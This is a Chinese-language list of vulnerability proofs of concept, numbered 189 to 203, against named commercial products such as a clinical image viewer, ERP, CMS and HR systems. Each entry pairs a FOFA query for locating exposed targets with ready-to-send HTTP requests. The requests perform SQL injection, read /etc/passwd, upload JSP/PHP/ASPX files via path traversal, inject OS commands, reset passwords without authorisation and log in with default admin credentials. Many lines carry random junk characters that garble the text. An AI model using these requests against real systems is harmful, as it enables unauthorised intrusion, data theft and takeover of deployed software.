' E4 |/ C- q( [8 i% ]3 D& S! O0 m/ WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" X  F9 U: I8 A5 r0 U% AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
+ ^: y+ M" i) \6 T# M7 E: I# n

" F: s% s- s, C6 n189. 蓝网科技临床浏览系统 deleteStudy SQL注入
9 y1 ]# C, [. C; g. JFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
0 x# h+ W1 x& t/ _0 }+ Q9 W* P, SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 r& d' @& a. x: U# F4 ~Accept-Language: zh-CN,zh;q=0.9
$ t8 U7 n5 |! RConnection: close
- v6 f* c+ Q, }9 w# t4 j9 l& [$ v

: g. F: S9 W7 J: n190. 短视频矩阵营销系统 poihuoqu 任意文件读取
' S' k0 S2 \, N$ k/ h) GFOFA：title=="短视频矩阵营销系统"
2 a7 h/ J5 q9 l0 c7 SPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
( j3 C- E# c+ O4 a1 i: p" C$ hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
5 K8 b" t. h+ Q1 s0 G5 N! A% BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 z2 Y  W; O- ?Content-Type: application/x-www-form-urlencoded
$ a4 a5 S" {0 d6 K% @$ HAccept-Encoding: gzip, deflate
; w8 u2 l" c- }! P2 F  eAccept-Language: zh-CN,zh;q=0.9

1 ]- H! M# p1 C) n) X3 g0 }9 Opoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
! }- d- A0 k3 U; L4 @, D  y' ?" ~FOFA：body="/CDGServer3/index.jsp"
( j. `8 _; C6 lPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
. Q* ~" q$ _; u8 X+ @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 B) Q8 R) h: Y+ YContent-Type: application/x-www-form-urlencoded
) `* T( P6 q# F; c( X# e
; {- H6 Z. y8 W6 m6 Fcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
# I4 q1 O+ [  s9 m1 Y6 J
4 K  J7 ]$ g6 x8 H. ~; `% R' z
6 C3 L3 x4 `3 H192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( m" S4 e; B! O/ s2 \# u8 hFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
1 l, o# ?* r( M, G2 E0 Q# JHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
$ L' }2 t0 l5 F6 [. |# r. GContent-Type: application/x-www-form-urlencoded


1 P8 f9 x: w. d  S; i- N<% @ webhandler language="C#" class="AverageHandler" %>
6 M' I: I/ c% E2 d( c8 zusing System;
+ M% L3 P. y* K$ p4 W; w, Ousing System.Web;
4 R! w8 l% l! K+ I- Z. Hpublic class AverageHandler : IHttpHandler
{
$ J  g: S9 B, Q- y! Y; Qpublic bool IsReusable
9 I/ W1 j, c1 B{ get { return true; } }
/ b3 E3 M; h# P' u* i9 W' U: D8 zpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
' @) R" _  A1 x}
1 s5 o5 M# c" Q/ Z: l* Z5 p' G+ C}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
0 Z9 m# O( m9 u$ K% @+ [FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
+ T3 z% V: _: r; C: j- V) o# M& FUser-Agent: Mozilla/5.0

; t7 I* h3 k4 n) b8 H1 e
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
+ R$ e7 ?- t$ T. K; NAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
+ `# ]1 V8 B( y; M  }2 l/ n" LContent-Type: application/x-www-form-urlencoded
Content-Length: 84

3 E% H5 ?9 Z9 F+ V8 gparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
0 b7 ^. x8 t3 MHost:
User-Agent: Mozilla/5.0
( J' N" f0 n$ D$ c; b
9 O+ m+ g1 g7 T; F6 h$ a
' o+ x7 G: o& U: ?( u4 J. Q7 Y194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
% ~, c, s; _) H8 ]8 F- h
# k2 x2 \/ W; s0 WPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
8 |# X1 V( B+ y' i2 U# u$ |* iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 q6 z/ {! }7 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 H% E) b) P6 c/ g1 k) c# Q9 D, EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ R7 ?# v9 R* q1 |  j, H------WebKitFormBoundaryKNt0t4vBe8cX9rZk

; \! T" c' i4 a6 d) {9 U3 [9 qContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
) L0 o& |5 }; l* v; M# }+ V  cContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 I! G+ j% {3 ?7 qContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


- E) D" `# r/ i* Q7 T& g- h195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
3 @* }$ [9 M- m; P( sAccept-Encoding: gzip, deflate
* K" ~+ O/ u5 aAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
: J+ ]/ a* e; n1 DContent-Length: 68
; G' Q: }% u9 Z4 G# `, u' m  i
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
* `/ Z% p7 J/ s! h% v6 I7 ~9 u
* q1 W- T+ i' d! k' n3 v# m
: ~5 K' S% z0 i, z3 [196. 河南省风速科技统一认证平台密码重置
0 a, G5 a; S$ {  FFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
& \0 E0 O1 f! t& UContent-Type: application/json;charset=UTF-8
* V0 U2 C" M/ ^  CX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
+ L% `7 R* X4 U' {4 o% zContent-Length: 45
Connection: close
8 q! i5 W3 f+ X& S1 c. V
" N) x* J- H$ t$ L# e& u{"xgh":"test","newPass":"test666","email":""}


5 u7 @1 r0 @6 m$ S
# P& ~9 u3 F/ t4 E5 W& O7 }9 j197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
  H& k& Y2 Y; N; Y! xFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
) j$ A( I5 j: t$ }" E0 CAccept-Encoding: gzip, deflate
Connection: close
! T, l* N" ~) g6 I7 }  C

; n6 \8 x# y6 Z7 \8 a( m
9 _3 e) b9 y9 x3 V! G9 D9 h; H& I198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
; }2 l+ v' }! _$ f$ ?Accept: */*
8 z8 D8 R( F' n) Q# t8 E7 gAccept-Encoding: gzip, deflate
6 `% d- Q5 F8 h5 e6 T) D. IAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
) C" h. Z6 L- L/ P7 b. K9 ^# K' |Connection: close
7 D; m- m! y$ h& T1 R  Y5 U
& b" x( Z' N) @
199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
2 t* e& ~1 [, k3 r4 [6 k$ L) ]
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

1 }! o9 X! Q5 r3 v. j6 ZPOST /auth/check HTTP/1.1
$ X( e9 V7 v$ B2 o- [; t% }: x7 Q2 AContent-Type: application/json

1 H* c7 q$ \: N9 V% J& J3 E{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

1 X- J2 U. T, ~" m/ T5 f响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
/ W' z9 H, G- \3 c/ RPOST /assetsmanager/upload HTTP/1.1
9 c; W' j2 g* z  i3 FContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
/ L# y9 n" z3 b+ k+ eCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
* z. k* i$ k7 u  ]% L1 h5 v4 z
<?php echo "tttt";unlink(__FILE__);?>
7 j5 k' e5 W, O$ a$ B5 p-----------------------------36D28FBc36bd6feE7Fb3
+ o8 k& J; G/ e& DContent-Disposition: form-data; name="folder"

( G+ `/ O$ G" q# }: c-----------------------------36D28FBc36bd6feE7Fb3--

! `3 X/ {, x$ H
$ h! F! y* q# {( O/storage/uploads/tttt.php
3 a6 n8 Y% n* s6 B
5 N0 ~2 k* O+ c* Q200. SeaCMS海洋影视管理系统dmku SQL注入
# Y( G7 u4 u  K, J8 sFOFA：app="海洋CMS"
. d& h: D8 v) n3 nGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
! b' d+ a2 \- V) [) {, QCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
1 c5 o; d7 @* B5 ^+ N. S8 n" ACache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' K1 t+ [7 `; Q9 ~9 D1 EAccept-Language: zh-CN,zh;q=0.9
1 z* ^( O4 X! Y4 D
; {8 U, Y0 P3 K/ V8 F
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
7 }/ R& G8 E  d! XPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
7 H/ `0 ]" r. }, R% f! {2 B# xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! i2 o) B, x  ]0 }$ XAccept-Language: zh-CN,zh;q=0.9
! z% @- p$ X# H* N6 P1 XConnection: close
7 z7 E' U' D2 _( x' J
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
0 P% d! F$ s' \% R/ j6 r. r  W

202. 微擎系统 AccountEdit任意文件上传
' r0 d5 s! c1 Y) u" KFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
' S: E! R, V/ v, _GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
  I) ?8 C0 E' w4 k/ U& ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
, I( t: m; c# ~# Q+ \

0 v" c# R" @8 O- @替换__VIEWSTATE和__EVENTVALIDATION值
' N* n. l# Q( P& R8 ?7 N  CPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
: M/ W# ^" h% Y% v* B
9 R- O0 d9 K7 e-----------------------------786435874t38587593865736587346567358735687
8 j) v% j- p% Q( ~7 ~: {Content-Disposition: form-data; name="__VIEWSTATE"
8 c4 Q4 `: A  q7 f- e
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
4 O' Z; S' ?& j' r# [( [Content-Disposition: form-data; name="__EVENTVALIDATION"
/ v: i/ }& \1 @4 }7 ]
6 b. u+ B; b' k$ e/ D# ]0 s9 r! W__EVENTVALIDATION
2 k1 l9 {. ?: q* O. Q: R, b' w-----------------------------786435874t38587593865736587346567358735687
- V9 x/ T2 i( e7 O7 k. j1 I2 BContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

$ R) l3 }' V0 ?% x# ]* F6 p% e  Y上传图片
-----------------------------786435874t38587593865736587346567358735687
' v* Y0 O* n  f8 v, i$ x* jContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
3 E+ M4 J  N" v7 g! F0 d) c

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
/ B: y  |; f: [" j
) o( S- C. b: Y# K- ^- C! I
1 U: e- e  b/ @9 h" y% |0 s-----------------------------786435874t38587593865736587346567358735687--
( Z% _8 c3 b8 u8 \  D
1 Y. T7 }. @7 T( \0 J1 v
9 k$ f  u5 t& W7 x" m/_data/Uploads/1123.txt
- r" y  R$ H  q
  H( }9 k. `9 h203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
* X/ s" q+ A2 B) {3 t3 SPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
5 ~( U1 z$ f1 W6 n5 B+ ~Host: x.x.x.x
Accept-Encoding: gzip
4 X9 _% a- d: p# _! U! f5 R! JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 L) \9 H8 V4 c7 y" K2 oContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
5 C: t- d& k$ a5 Y+ ^Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

! c+ F3 A6 a2 ^5 r5 S4 V4 e

4 I  Z: V4 x/ z+ R1 H$ D0 S


: l1 g& T; u1 `1 b) z$ @